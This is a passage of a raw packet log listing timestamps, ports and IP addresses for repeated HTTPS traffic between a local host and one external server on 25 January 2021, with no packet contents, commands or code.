Jan 25, 2021 21:12:51.830926895 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.830957890 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.830966949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.831021070 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.839188099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.839282990 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.942672014 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.146946907 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.153455019 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.156728029 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.157418966 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.405455112 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.486155987 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.486223936 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.486268044 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.486304998 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.486341000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.486377954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.486421108 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.486454964 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.486460924 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.486552000 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.490709066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.492631912 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.598366976 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.805403948 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.807938099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:52.808111906 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:52.809902906 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.054775000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.138485909 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.138544083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.138581991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.138621092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.138659000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.138698101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.138741970 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.138808966 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.140477896 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.140605927 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.254571915 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.459198952 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.464593887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.464725971 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.465425968 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.708834887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.819987059 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.820045948 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.820077896 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.820082903 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.820107937 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.820122004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.820137978 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.820159912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.820178986 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.820195913 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.820215940 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.820250988 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.821583986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:53.821662903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:53.926412106 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.130794048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.136111021 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.136209965 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.136967897 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.381782055 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.463584900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.463638067 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.463685036 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.463705063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.463753939 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.463783979 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.463797092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.463823080 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.463830948 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.463865042 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.465878963 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.466046095 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.582581997 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.786880970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.792176962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:54.792335033 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:54.793319941 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.037636995 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.125909090 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.125951052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.125987053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.126034021 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.126075983 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.126082897 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.126113892 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.126115084 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.126118898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.126125097 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.126164913 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.126938105 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.127027035 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.248256922 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.452951908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.458148956 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.458226919 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.459013939 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.703654051 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.787246943 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.787302017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.787353039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.787395954 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.787396908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.787420034 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.787446022 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.787452936 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.787503004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.787503004 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.787585020 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.789746046 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:55.789819956 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:55.897083998 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.101524115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.107064009 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.109581947 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.114149094 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.358674049 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.442833900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.442890882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.442919970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.442969084 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.442998886 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.443015099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.443030119 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.443046093 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.443057060 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.443069935 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.443104029 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.444017887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.444099903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.552009106 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.756521940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.764209032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:56.764372110 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:56.766763926 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.010817051 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.099832058 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.099854946 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.099868059 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.099884987 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.099903107 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.099917889 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.099947929 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.099987984 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.101979017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.102315903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.208498955 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.413453102 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.418926954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.419039965 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.420995951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.665811062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.755351067 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.755428076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.755467892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.755472898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.755507946 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.755516052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.755537033 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.755558968 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.755573034 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.755598068 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.755628109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.755651951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.755918026 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:57.755987883 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:57.864450932 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.069927931 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.075053930 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.075200081 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.076977015 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.326562881 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.400557041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.400600910 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.400639057 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.400676012 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.400712013 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.400715113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.400753975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.400763035 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.400816917 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.403318882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.403420925 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.520812035 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.729430914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.733608007 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:58.733750105 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.735563993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:58.980763912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.058588982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.058650970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.058665991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.058705091 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.058715105 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.058758974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.058772087 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.058799028 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.058841944 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.058888912 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.060340881 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.060452938 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.177939892 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.382456064 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.388545036 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.388641119 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.390965939 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.636697054 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.715734959 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.715776920 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.715816021 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.715842009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.715856075 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.715868950 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.715893030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.715894938 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.715930939 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.715934038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.715964079 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.716017962 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.717502117 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:59.717664003 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:59.834234953 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.039026976 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.044315100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.044385910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.046137094 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.291769981 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.373637915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.373681068 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.373723030 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.373728037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.373754978 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.373769999 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.373794079 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.373806953 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.373832941 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.373846054 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.373863935 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.373912096 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.375710964 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.375818014 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.491148949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.695564032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.700804949 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:00.700922966 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.701946974 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:00.946516037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.034027100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.034070969 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.034117937 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.034127951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.034158945 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.034166098 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.034173012 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.034195900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.034220934 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.034233093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.034250975 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.034296036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.036201000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.036307096 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.145546913 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.351315975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.355160952 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.355246067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.356767893 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.602871895 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.688040972 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.688098907 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.688138962 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.688144922 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.688167095 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.688182116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.688196898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.688229084 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.688237906 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.688271999 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.688294888 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.688335896 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.689425945 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:01.689518929 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:01.801829100 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.006309986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.011091948 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.011178970 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.012314081 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.265615940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.343749046 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.343802929 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.343844891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.343903065 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.343930960 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.343941927 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.343980074 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.344046116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.344069004 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.344110012 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.346337080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.347632885 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.458193064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.662926912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.668441057 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.668529987 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.670660019 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.915669918 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.997149944 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.997209072 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.997226954 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.997246981 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.997256994 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.997283936 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.997302055 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.997320890 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.997335911 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.997369051 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:02.997375965 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:02.997421980 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:03.006653070 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.006733894 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:03.118122101 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:03.322561979 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.327579975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.327681065 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:03.330053091 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:03.574768066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.647727013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.647922039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.647938013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.647952080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.647968054 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.647981882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.648092985 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:03.648164034 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:03.649652958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:03.650212049 CET	49745	443	192.168.2.4	162.0.209.179
